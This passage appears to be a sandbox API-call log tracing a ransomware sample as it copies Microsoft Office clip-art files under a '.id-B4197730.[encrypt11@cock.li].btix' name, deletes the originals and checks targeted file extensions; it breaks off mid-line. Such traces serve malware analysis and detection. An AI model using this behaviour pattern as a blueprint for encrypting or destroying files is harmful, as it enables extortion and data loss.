SetEndOfFile (hFile=0x2e0) returned 1 [0070.313] CloseHandle (hObject=0x2e0) returned 1 [0070.313] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0070.313] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf")) returned 1 [0070.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0070.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0070.319] lstrlenW (lpString=".doc") returned 4 [0070.319] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0070.319] lstrlenW (lpString=".docx") returned 5 [0070.319] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0070.319] lstrlenW (lpString=".pdf") returned 4 [0070.319] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0070.319] lstrlenW (lpString=".xls") returned 4 [0070.319] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0070.319] lstrlenW (lpString=".xlsx") returned 5 [0070.319] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0070.319] lstrlenW (lpString=".ppt") returned 4 [0070.319] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0070.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0070.319] lstrlenW (lpString=".zip") returned 4 [0070.319] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0070.319] lstrlenW (lpString=".rar") returned 4 [0070.319] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0070.319] lstrlenW (lpString=".bz2") returned 4 [0070.319] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0070.319] lstrlenW (lpString=".7z") returned 3 [0070.319] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0070.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0070.319] lstrlenW (lpString=".dbf") returned 4 [0070.319] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0070.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0070.319] lstrlenW (lpString=".1cd") returned 4 [0070.319] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0070.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0070.319] lstrlenW (lpString=".jpg") returned 4 [0070.319] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0070.321] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.321] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0070.324] GetLastError () returned 0x0 [0070.324] ReadFile (in: hFile=0x38c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x5a8, lpOverlapped=0x0) returned 1 [0070.370] WriteFile (in: hFile=0x354, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x5b0, lpOverlapped=0x0) returned 1 [0070.371] ReadFile (in: hFile=0x38c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0070.371] WriteFile (in: hFile=0x354, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xec, lpOverlapped=0x0) returned 1 [0070.371] SetEndOfFile (hFile=0x354) returned 1 [0070.371] CloseHandle (hObject=0x354) returned 1 [0070.371] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.371] SetEndOfFile (hFile=0x38c) returned 1 [0070.372] CloseHandle (hObject=0x38c) returned 1 [0070.372] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0070.372] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf")) returned 1 [0070.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0070.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0070.373] lstrlenW (lpString=".doc") returned 4 [0070.373] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0070.373] lstrlenW (lpString=".docx") returned 5 [0070.373] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0070.373] lstrlenW (lpString=".pdf") returned 4 [0070.373] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0070.373] lstrlenW (lpString=".xls") returned 4 [0070.373] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0070.373] lstrlenW (lpString=".xlsx") returned 5 [0070.373] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0070.373] lstrlenW (lpString=".ppt") returned 4 [0070.373] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0070.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0070.373] lstrlenW (lpString=".zip") returned 4 [0070.373] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0070.374] lstrlenW (lpString=".rar") returned 4 [0070.374] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0070.374] lstrlenW (lpString=".bz2") returned 4 [0070.374] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0070.374] lstrlenW (lpString=".7z") returned 3 [0070.374] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0070.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0070.374] lstrlenW (lpString=".dbf") returned 4 [0070.374] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0070.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0070.374] lstrlenW (lpString=".1cd") returned 4 [0070.374] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0070.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0070.374] lstrlenW (lpString=".jpg") returned 4 [0070.374] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0070.374] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.374] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0070.378] GetLastError () returned 0x0 [0070.378] ReadFile (in: hFile=0x38c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x8f8, lpOverlapped=0x0) returned 1 [0070.394] WriteFile (in: hFile=0x354, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x900, lpOverlapped=0x0) returned 1 [0070.395] ReadFile (in: hFile=0x38c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0070.395] WriteFile (in: hFile=0x354, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xec, lpOverlapped=0x0) returned 1 [0070.395] SetEndOfFile (hFile=0x354) returned 1 [0070.395] CloseHandle (hObject=0x354) returned 1 [0070.395] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.395] SetEndOfFile (hFile=0x38c) returned 1 [0070.396] CloseHandle (hObject=0x38c) returned 1 [0070.396] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0070.396] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf")) returned 1 [0070.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0070.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0070.397] lstrlenW (lpString=".doc") returned 4 [0070.397] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0070.397] lstrlenW (lpString=".docx") returned 5 [0070.397] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0070.397] lstrlenW (lpString=".pdf") returned 4 [0070.397] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0070.397] lstrlenW (lpString=".xls") returned 4 [0070.397] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0070.397] lstrlenW (lpString=".xlsx") returned 5 [0070.397] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0070.397] lstrlenW (lpString=".ppt") returned 4 [0070.397] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0070.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0070.397] lstrlenW (lpString=".zip") returned 4 [0070.397] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0070.397] lstrlenW (lpString=".rar") returned 4 [0070.397] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0070.397] lstrlenW (lpString=".bz2") returned 4 [0070.397] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0070.397] lstrlenW (lpString=".7z") returned 3 [0070.397] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0070.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0070.397] lstrlenW (lpString=".dbf") returned 4 [0070.398] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0070.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0070.398] lstrlenW (lpString=".1cd") returned 4 [0070.398] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0070.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0070.398] lstrlenW (lpString=".jpg") returned 4 [0070.398] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0070.413] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.413] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0070.418] GetLastError () returned 0x0 [0070.418] ReadFile (in: hFile=0x2e0, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x384, lpOverlapped=0x0) returned 1 [0070.465] WriteFile (in: hFile=0x38c, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x390, lpOverlapped=0x0) returned 1 [0070.466] ReadFile (in: hFile=0x2e0, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0070.466] WriteFile (in: hFile=0x38c, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xec, lpOverlapped=0x0) returned 1 [0070.466] SetEndOfFile (hFile=0x38c) returned 1 [0070.466] CloseHandle (hObject=0x38c) returned 1 [0070.466] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.466] SetEndOfFile (hFile=0x2e0) returned 1 [0070.467] CloseHandle (hObject=0x2e0) returned 1 [0070.467] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0070.467] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf")) returned 1 [0070.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0070.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0070.467] lstrlenW (lpString=".doc") returned 4 [0070.467] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0070.468] lstrlenW (lpString=".docx") returned 5 [0070.468] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0070.468] lstrlenW (lpString=".pdf") returned 4 [0070.468] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0070.468] lstrlenW (lpString=".xls") returned 4 [0070.468] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0070.468] lstrlenW (lpString=".xlsx") returned 5 [0070.468] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0070.468] lstrlenW (lpString=".ppt") returned 4 [0070.468] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0070.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0070.468] lstrlenW (lpString=".zip") returned 4 [0070.468] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0070.468] lstrlenW (lpString=".rar") returned 4 [0070.468] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0070.468] lstrlenW (lpString=".bz2") returned 4 [0070.468] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0070.468] lstrlenW (lpString=".7z") returned 3 [0070.468] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0070.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0070.468] lstrlenW (lpString=".dbf") returned 4 [0070.468] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0070.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0070.468] lstrlenW (lpString=".1cd") returned 4 [0070.468] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0070.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0070.468] lstrlenW (lpString=".jpg") returned 4 [0070.468] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0070.469] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.469] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0070.469] GetLastError () returned 0x0 [0070.469] ReadFile (in: hFile=0x2e0, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x228, lpOverlapped=0x0) returned 1 [0070.470] WriteFile (in: hFile=0x38c, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x230, lpOverlapped=0x0) returned 1 [0070.471] ReadFile (in: hFile=0x2e0, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0070.471] WriteFile (in: hFile=0x38c, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xec, lpOverlapped=0x0) returned 1 [0070.471] SetEndOfFile (hFile=0x38c) returned 1 [0070.471] CloseHandle (hObject=0x38c) returned 1 [0070.471] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.471] SetEndOfFile (hFile=0x2e0) returned 1 [0070.472] CloseHandle (hObject=0x2e0) returned 1 [0070.472] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0070.472] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf")) returned 1 [0070.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0070.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0070.472] lstrlenW (lpString=".doc") returned 4 [0070.472] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0070.472] lstrlenW (lpString=".docx") returned 5 [0070.472] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0070.472] lstrlenW (lpString=".pdf") returned 4 [0070.472] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0070.472] lstrlenW (lpString=".xls") returned 4 [0070.472] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0070.472] lstrlenW (lpString=".xlsx") returned 5 [0070.472] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0070.472] lstrlenW (lpString=".ppt") returned 4 [0070.472] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0070.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0070.472] lstrlenW (lpString=".zip") returned 4 [0070.472] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0070.472] lstrlenW (lpString=".rar") returned 4 [0070.473] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0070.473] lstrlenW (lpString=".bz2") returned 4 [0070.473] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0070.473] lstrlenW (lpString=".7z") returned 3 [0070.473] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0070.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0070.473] lstrlenW (lpString=".dbf") returned 4 [0070.473] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0070.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0070.473] lstrlenW (lpString=".1cd") returned 4 [0070.473] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0070.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0070.473] lstrlenW (lpString=".jpg") returned 4 [0070.473] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0070.473] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.473] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0070.474] GetLastError () returned 0x0 [0070.474] ReadFile (in: hFile=0x2e0, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x1034, lpOverlapped=0x0) returned 1 [0070.588] WriteFile (in: hFile=0x38c, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x1040, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x1040, lpOverlapped=0x0) returned 1 [0070.588] ReadFile (in: hFile=0x2e0, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0070.588] WriteFile (in: hFile=0x38c, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xec, lpOverlapped=0x0) returned 1 [0070.589] SetEndOfFile (hFile=0x38c) returned 1 [0070.589] CloseHandle (hObject=0x38c) returned 1 [0070.589] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.589] SetEndOfFile (hFile=0x2e0) returned 1 [0070.590] CloseHandle (hObject=0x2e0) returned 1 [0070.590] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0070.590] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf")) returned 1 [0070.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0070.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0070.590] lstrlenW (lpString=".doc") returned 4 [0070.590] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0070.590] lstrlenW (lpString=".docx") returned 5 [0070.590] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0070.590] lstrlenW (lpString=".pdf") returned 4 [0070.590] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0070.590] lstrlenW (lpString=".xls") returned 4 [0070.590] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0070.590] lstrlenW (lpString=".xlsx") returned 5 [0070.590] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0070.590] lstrlenW (lpString=".ppt") returned 4 [0070.591] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0070.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0070.591] lstrlenW (lpString=".zip") returned 4 [0070.591] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0070.591] lstrlenW (lpString=".rar") returned 4 [0070.591] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0070.591] lstrlenW (lpString=".bz2") returned 4 [0070.591] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0070.591] lstrlenW (lpString=".7z") returned 3 [0070.591] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0070.591] lstrlenW (lpString="C:\\Program Files\\Microsoft 